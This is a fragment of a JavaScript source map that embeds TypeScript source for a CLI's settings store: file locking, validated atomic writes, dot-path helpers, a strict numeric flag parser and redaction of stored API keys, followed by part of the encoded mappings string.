recursive: true });\r\n const lockPath = `${this.path}.lock`;\r\n for (let attempt = 0; attempt < 50; attempt++) {\r\n try {\r\n return openSync(lockPath, 'wx', 0o600);\r\n } catch (error) {\r\n if ((error as NodeJS.ErrnoException).code !== 'EEXIST') throw error;\r\n try {\r\n if (Date.now() - statSync(lockPath).mtimeMs > 10_000) unlinkSync(lockPath);\r\n } catch {\r\n // Another process may have released or replaced the lock.\r\n }\r\n Atomics.wait(new Int32Array(new SharedArrayBuffer(4)), 0, 0, 10);\r\n }\r\n }\r\n throw new Error(`Timed out waiting for settings lock: ${lockPath}`);\r\n }\r\n\r\n private releaseLock(descriptor: number): void {\r\n closeSync(descriptor);\r\n try {\r\n unlinkSync(`${this.path}.lock`);\r\n } catch {\r\n // A stale-lock recovery may already have removed it.\r\n }\r\n }\r\n\r\n private mutateLocked(\r\n mutation: (candidate: Record<string, unknown>) => void,\r\n values: Record<string, unknown>,\r\n ): SettingsMutationResult {\r\n const source = this.read();\r\n if (source.status === 'malformed' || source.status === 'non-object') {\r\n return {\r\n ok: false,\r\n path: this.path,\r\n diagnostics: [{ path: this.path, message: source.error }],\r\n };\r\n }\r\n\r\n const candidate = structuredClone(source.status === 'valid' ? source.document : {});\r\n try {\r\n mutation(candidate);\r\n } catch (error) {\r\n return {\r\n ok: false,\r\n path: this.path,\r\n diagnostics: [{ path: this.path, message: safeMessage(error) }],\r\n };\r\n }\r\n\r\n const keyDiagnostics = validateTopLevelKeys(this.path, candidate);\r\n const validation = bookSettingsSchema.safeParse(candidate);\r\n const diagnostics = [\r\n ...keyDiagnostics,\r\n ...(validation.success\r\n ? []\r\n : validation.error.issues.map((issue) => issueDiagnostic(this.path, issue))),\r\n ];\r\n if (diagnostics.length > 0) return { ok: false, path: this.path, diagnostics };\r\n\r\n try {\r\n const changed =\r\n source.status !== 'valid' || JSON.stringify(source.document) !== JSON.stringify(candidate);\r\n if (changed) this.writeAtomic(this.path, JSON.stringify(candidate, null, 2) + '\\n');\r\n return {\r\n ok: true,\r\n path: this.path,\r\n document: candidate,\r\n changed,\r\n values: Object.fromEntries(\r\n Object.entries(values).map(([key, value]) => [key, redactSettingValue(key, value)]),\r\n ),\r\n };\r\n } catch (error) {\r\n return {\r\n ok: false,\r\n path: this.path,\r\n diagnostics: [{ path: this.path, message: safeMessage(error) }],\r\n };\r\n }\r\n }\r\n}\r\n\r\nexport function formatSettingsDiagnostics(diagnostics: SettingsDiagnostic[]): string {\r\n return diagnostics\r\n .map((diagnostic) => {\r\n const location = diagnostic.issuePath\r\n ? `${diagnostic.path} (${diagnostic.issuePath})`\r\n : diagnostic.path;\r\n return `${location}: ${diagnostic.message}`;\r\n })\r\n .join('\\n');\r\n}\r\n","/** Deeply nested value access by dot-separated key path. */\r\nexport function getNestedValue(obj: Record<string, unknown>, path: string): unknown {\r\n const parts = path.split('.');\r\n let current: unknown = obj;\r\n for (const part of parts) {\r\n if (current === null || current === undefined || typeof current !== 'object') return undefined;\r\n current = (current as Record<string, unknown>)[part];\r\n }\r\n return current;\r\n}\r\n\r\n/** Deeply nested value setter, creating intermediate objects as needed. */\r\nexport function setNestedValue(obj: Record<string, unknown>, path: string, value: unknown): void {\r\n const parts = path.split('.');\r\n let current = obj;\r\n for (let i = 0; i < parts.length - 1; i++) {\r\n if (\r\n !(parts[i] in current) ||\r\n typeof current[parts[i]] !== 'object' ||\r\n current[parts[i]] === null\r\n ) {\r\n current[parts[i]] = {};\r\n }\r\n current = current[parts[i]] as Record<string, unknown>;\r\n }\r\n current[parts[parts.length - 1]] = value;\r\n}\r\n\r\n/** Delete a dot-path and prune only empty ancestor objects on that path. */\r\nexport function deleteNestedValue(\r\n obj: Record<string, unknown>,\r\n path: string | readonly string[],\r\n): boolean {\r\n const parts = typeof path === 'string' ? path.split('.') : [...path];\r\n const ancestors: Array<{ parent: Record<string, unknown>; key: string }> = [];\r\n let current = obj;\r\n\r\n for (let i = 0; i < parts.length - 1; i++) {\r\n const key = parts[i];\r\n if (!Object.prototype.hasOwnProperty.call(current, key)) return false;\r\n const next = current[key];\r\n if (typeof next !== 'object' || next === null || Array.isArray(next)) return false;\r\n ancestors.push({ parent: current, key });\r\n current = next as Record<string, unknown>;\r\n }\r\n\r\n const leaf = parts[parts.length - 1];\r\n if (!Object.prototype.hasOwnProperty.call(current, leaf)) return false;\r\n delete current[leaf];\r\n\r\n for (let i = ancestors.length - 1; i >= 0; i--) {\r\n const { parent, key } = ancestors[i];\r\n const child = parent[key];\r\n if (\r\n typeof child === 'object' &&\r\n child !== null &&\r\n !Array.isArray(child) &&\r\n Object.keys(child).length === 0\r\n ) {\r\n delete parent[key];\r\n } else {\r\n break;\r\n }\r\n }\r\n return true;\r\n}\r\n\r\n/**\r\n * Parse a numeric CLI flag, refusing anything that is not a usable number.\r\n *\r\n * `parseInt('none', 10)` is `NaN`, and the old guard was truthiness — `'none'` is\r\n * truthy, so the typo sailed through. Downstream, `NaN` loses every comparison it\r\n * takes part in, which is the worst possible failure for a limit: `--max-turns`\r\n * ran zero turns and reported `completed`, and `--max-budget-usd` read as\r\n * *configured* while permitting unbounded spend. Reject it at the boundary, and\r\n * test presence with `!== undefined` so an explicit `0` is a real zero rather than\r\n * a missing flag.\r\n */\r\nexport function parseNumericFlag(\r\n raw: unknown,\r\n flag: string,\r\n opts: { integer?: boolean; min?: number } = {},\r\n): number | undefined {\r\n if (raw === undefined || raw === null || raw === '') return undefined;\r\n const text = String(raw).trim();\r\n const value = opts.integer ? Number.parseInt(text, 10) : Number.parseFloat(text);\r\n // Number.parse* stops at the first bad character, so '12abc' would otherwise\r\n // silently become 12.\r\n if (!Number.isFinite(value) || !/^[+-]?(\\d+\\.?\\d*|\\.\\d+)$/.test(text)) {\r\n throw new Error(`${flag} expects a number, but received \"${text}\".`);\r\n }\r\n // `Number.parseInt('2.5', 10)` is 2, so testing the parsed value would never\r\n // catch a fractional input for an integer flag - it would silently truncate.\r\n if (opts.integer && text.includes('.')) {\r\n throw new Error(`${flag} expects a whole number, but received \"${text}\".`);\r\n }\r\n const min = opts.min ?? 0;\r\n if (value < min) {\r\n throw new Error(`${flag} must be at least ${min}, but received \"${text}\".`);\r\n }\r\n return value;\r\n}\r\n","const REDACTED_SECRET = '*** (stored)';\r\n\r\nfunction redactProviderRecord(value: unknown): unknown {\r\n if (!value || typeof value !== 'object' || Array.isArray(value)) return value;\r\n const clone = structuredClone(value) as Record<string, unknown>;\r\n if ('apiKey' in clone) clone.apiKey = REDACTED_SECRET;\r\n return clone;\r\n}\r\n\r\nfunction redactProviderMap(value: unknown): unknown {\r\n if (!value || typeof value !== 'object' || Array.isArray(value)) return value;\r\n const clone = structuredClone(value) as Record<string, unknown>;\r\n for (const [id, provider] of Object.entries(clone)) clone[id] = redactProviderRecord(provider);\r\n return clone;\r\n}\r\n\r\n/**\r\n * Removed blocks that may still carry a credential in a real settings file.\r\n *\r\n * Subscription authentication is gone, but `auth.profiles.<id>.clientSecret`\r\n * and the free-form `headers` that rode along with the bearer token are still\r\n * on disk wherever it was configured — and `book config list` prints the *raw*\r\n * document, not the validated one, so those keys survive into terminal\r\n * scrollback and pasted bug reports. Validation discarding a block is not the\r\n * same as a display path being safe, so the whole subtree is masked rather than\r\n * its individual leaves: nothing reads it any more, so there is nothing in it\r\n * worth showing.\r\n */\r\nconst REMOVED_SECRET_BEARING_BLOCKS = ['auth'];\r\n\r\nexport function redactSettingValue(path: string, value: unknown): unknown {\r\n const parts = path.split('.');\r\n if (parts[0] && REMOVED_SECRET_BEARING_BLOCKS.includes(parts[0])) return REDACTED_SECRET;\r\n if (parts[0] !== 'provider') return value;\r\n if (parts.length === 1) return redactProviderMap(value);\r\n if (parts.length === 2) return redactProviderRecord(value);\r\n return parts[parts.length - 1] === 'apiKey' ? REDACTED_SECRET : value;\r\n}\r\n\r\nexport function redactSettingsForDisplay<T>(value: T): T {\r\n if (!value || typeof value !== 'object') return value;\r\n const clone = structuredClone(value) as Record<string, unknown>;\r\n clone.provider = redactProviderMap(clone.provider);\r\n for (const key of REMOVED_SECRET_BEARING_BLOCKS) {\r\n if (clone[key] !== undefined) clone[key] = REDACTED_SECRET;\r\n }\r\n return clone as T;\r\n}\r\n"],"mappings":"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